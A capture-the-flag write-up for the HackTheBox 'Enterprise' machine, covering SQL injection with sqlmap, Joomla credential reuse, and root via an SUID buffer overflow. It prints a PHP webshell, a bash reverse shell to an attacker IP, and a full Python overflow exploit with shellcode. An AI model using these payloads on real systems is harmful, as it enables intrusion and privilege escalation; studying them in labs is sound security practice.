Enterprise - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Enterprise is a challenging machine that requires a diverse skill set spanning web exploitation, Docker container awareness, and binary exploitation. The attack surface includes a vulnerable WordPress plugin susceptible to SQL injection, access to a Joomla administration panel via credential reuse, and ultimately a buffer overflow vulnerability in an SUID binary to achieve root access. The real-world element of navigating Docker-containerized services while pivoting to the underlying host system makes this machine exceptional for practical exploitation scenarios.

TL;DR: SQL injection in custom WordPress plugin → database dumping → credential reuse for Joomla admin → file upload via Joomla → reverse shell on host → SUID binary buffer overflow → root shell.

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- 10.10.11.X

Results:

The target exposes multiple services across different ports:

• Port 22: SSH server
• Port 80: Apache with WordPress installation
• Port 443: Apache with HTTPS (reveals /files directory via directory fuzzing)
• Port 8080: Apache with Joomla installation
• Port 32812: Unknown service

Service Enumeration

Port 80 & 443 - Apache/WordPress: Directory enumeration on port 443 reveals a /files directory containing a custom WordPress plugin called lcars. This plugin file (lcars_db.php) contains a SQL injection vulnerability in the query parameter.

Port 8080 - Joomla: A Joomla installation is present on this port, also sharing the /files directory with the port 443 instance.

Domain Discovery: Directory fuzzing reveals the domain enterprise.htb, which should be added to /etc/hosts:

echo "10.10.11.X enterprise.htb" >> /etc/hosts

Vulnerability Assessment

1. SQL Injection in WordPress Plugin: The lcars plugin’s lcars_db.php file accepts unsanitized input via the query parameter
2. Weak Credentials: Database dumps reveal valid credentials in unpublished posts
3. Credential Reuse: WordPress and Joomla use overlapping user credentials
4. Docker Container Escape: Shared /files directory allows file access between containerized services and the host
5. SUID Buffer Overflow: /bin/lcars binary has SUID bit set and contains a stack-based buffer overflow

Initial Foothold

Exploitation Path

Step 1: Extract WordPress Database via SQL Injection

Using SQLMap, we target the vulnerable WordPress plugin to dump credentials from unpublished posts:

sqlmap -u "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" \
  --threads 10 -D wordpress -T wp_posts -C post_content --dump

Output: An unpublished post contains the credentials:

• Username: william.riker
• Password: u*Z14ru0p#ttj83zS6

Step 2: Dump Joomla User Database

Continue with SQLMap to extract Joomla user credentials:

sqlmap -u "http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1" \
  --threads 10 -D joomladb -T edz2g_users -C username --dump

Output: User list including:

• geordi.la.forge

Step 3: Credential Reuse & Joomla Access

Attempt password reuse from WordPress credentials against Joomla. The combination geordi.la.forge:ZD3YxfnSjezg67JZ grants administrator access to the Joomla panel.

Step 4: Exploit Docker Shared Volume via Joomla File Upload

The /files directory is shared between the Joomla container (port 8080) and the host Apache server (port 443). By accessing the Joomla administrator panel and navigating to:

Components → eXtplorer

Upload a PHP webshell:

<?php system($_GET['cmd']); ?>

Step 5: Obtain Reverse Shell on Host

Access the uploaded shell through port 443 to execute commands on the host (outside the Docker container):

curl "http://enterprise.htb/files/shell.php?cmd=id"

Generate a proper reverse shell payload:

bash -i >& /dev/tcp/10.10.14.X/4444 0>&1

Execute via the uploaded shell to receive a callback as www-data user.

Step 6: Retrieve User Flag

cat /home/jeanlucpicard/user.txt

Privilege Escalation

SUID Binary Buffer Overflow Analysis

Step 1: Identify Vulnerable Binary

Using LinEnum or manual inspection, discover an SUID binary at /bin/lcars:

ls -la /bin/lcars
# -rwsr-xr-x 1 root root ... /bin/lcars

Step 2: Reverse Engineer the Binary

Running the binary reveals it requires an access code. Use ltrace to extract the authentication check:

ltrace /bin/lcars

Interactive menu prompts reveal option 4 (Security) contains a buffer overflow vulnerability.

Step 3: Craft Overflow Payload

Generate the exploit payload locally. The vulnerability is a stack-based overflow with bad characters: \x00\x0a\x0d\x0b\x09\x0c\x20

Create enterprise_bof.py:

import struct

# Shellcode: copy /bin/bash to /tmp/writeup and chmod 4777
shellcode = ""
shellcode += "\xd9\xee\xbd\x8f\x1f\x9f\xe9\xd9\x74\x24\xf4\x5f\x29"
shellcode += "\xc9\xb1\x16\x83\xef\xfc\x31\x6f\x15\x03\x6f\x15\x6d"
shellcode += "\xea\xf5\xe2\x29\x8c\x58\x93\xa1\x83\x3f\xd2\xd6\xb4"
shellcode += "\x90\x97\x70\x45\x87\x78\xe2\x2c\x39\x0e\x01\xfc\x2d"
shellcode += "\x23\xc5\x01\xae\x27\xb5\x21\x81\xc5\x5c\x4c\xf2\x6b"
shellcode += "\xff\xe3\x64\x4c\xd0\x77\x18\xfc\x01\x0f\x90\x95\x29"
shellcode += "\x8a\x21\x16\xea\x74\xa9\xbe\x61\x1a\x49\x1f\x4d\xd3"
shellcode += "\xa6\x68\x8d\x34\xbd\xfb\xbd\x65\x4a\x76\x54\x0e\xd1"
shellcode += "\x03\xd6\xee\x4e\xbf\x9f\x0e\xbd\xbf"

# Return address (adjusted for clean environment)
addr = struct.pack('<L', 0xffffdd60)
padding = 212
nops = "\x90" * 70

# Construct payload: access code + menu selection + NOP sled + shellcode + padding + return address
payload = "picarda1\n4\n"
payload += nops
payload += shellcode
payload += "A" * (padding - len(nops) - len(shellcode))
payload += addr
payload += "\n"

print(payload)

Step 4: Generate and Deploy Payload

python enterprise_bof.py > payload.txt

Transfer payload.txt to the target machine via SCP or echo into a file.

Step 5: Execute Overflow

Critical: Remove environment variables that affect memory layout to ensure consistent return addresses:

# On target machine
cat payload.txt | env - /bin/lcars

This executes the shellcode which:

1. Copies /bin/bash to /tmp/writeup
2. Sets SUID bit with permissions 4777

Step 6: Obtain Root Shell

/tmp/writeup -p
# uid=0(root) gid=0(root) groups=0(root)

Step 7: Retrieve Root Flag

cat /root/root.txt

Attack Chain Summary

Enumeration (nmap + dirbuster)
    ↓
SQL Injection in WordPress plugin (lcars_db.php)
    ↓
Extract credentials from unpublished posts
    ↓
Joomla credential reuse (geordi.la.forge)
    ↓
Access Joomla admin panel
    ↓
Upload PHP shell via eXtplorer (shared /files volume)
    ↓
Execute reverse shell on port 443 (host system, not container)
    ↓
Gain www-data shell
    ↓
Identify SUID binary (/bin/lcars)
    ↓
Reverse engineer binary (ltrace, ltrace, menu option 4)
    ↓
Craft buffer overflow payload (shellcode + padding + return address)
    ↓
Execute payload with clean environment
    ↓
Root shell via /tmp/writeup -p

Tools Used

Key Learnings

Techniques Practiced

• SQL Injection in custom PHP plugins: Identifying and exploiting parameterized query vulnerabilities
• Database credential extraction: Using SQLMap to dump WordPress and Joomla user tables
• Credential reuse across platforms: Recognizing when users employ identical passwords across multiple services
• Docker container escaping: Leveraging shared volumes between containerized and host services
• File upload exploitation: Using legitimate admin interfaces to upload malicious code
• Stack-based buffer overflow: Crafting shellcode with bad character avoidance
• SUID binary exploitation: Leveraging privilege escalation through vulnerable setuid binaries
• Environment variable side effects: Understanding how LINES, COLUMNS, and other variables affect memory layout in exploits
• Binary reverse engineering: Using dynamic analysis tools to understand program flow

Lessons Learned

1. Multiple attack surfaces: This machine exemplifies the importance of enumerating all services and ports—each one presented different exploitation opportunities.

2. Container awareness: Understanding that services run in Docker containers is critical for post-exploitation; the actual privilege escalation path exists on the host, not within containers.

3. Credential consistency: Users reusing passwords across multiple services is a real-world vulnerability; always test discovered credentials against all accessible services.

4. Shared resources in containerized environments: Volume mounts can become security boundaries if not properly isolated—in this case, allowing file uploads in one container to be executed on the host.

5. Environment impact on exploits: Buffer overflow exploits are sensitive to environmental variables that affect memory layout. Using env - to create a clean slate is essential for consistent exploitation.

6. Defense in depth failure: This machine demonstrates how multiple moderate vulnerabilities (weak creds, SQL injection, poor isolation) combine to create a critical compromise.

7. SUID binaries remain a privilege escalation vector: Any custom binary with SUID set should be analyzed for memory safety issues, particularly older code written without modern protections (ASLR, canaries, DEP).

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>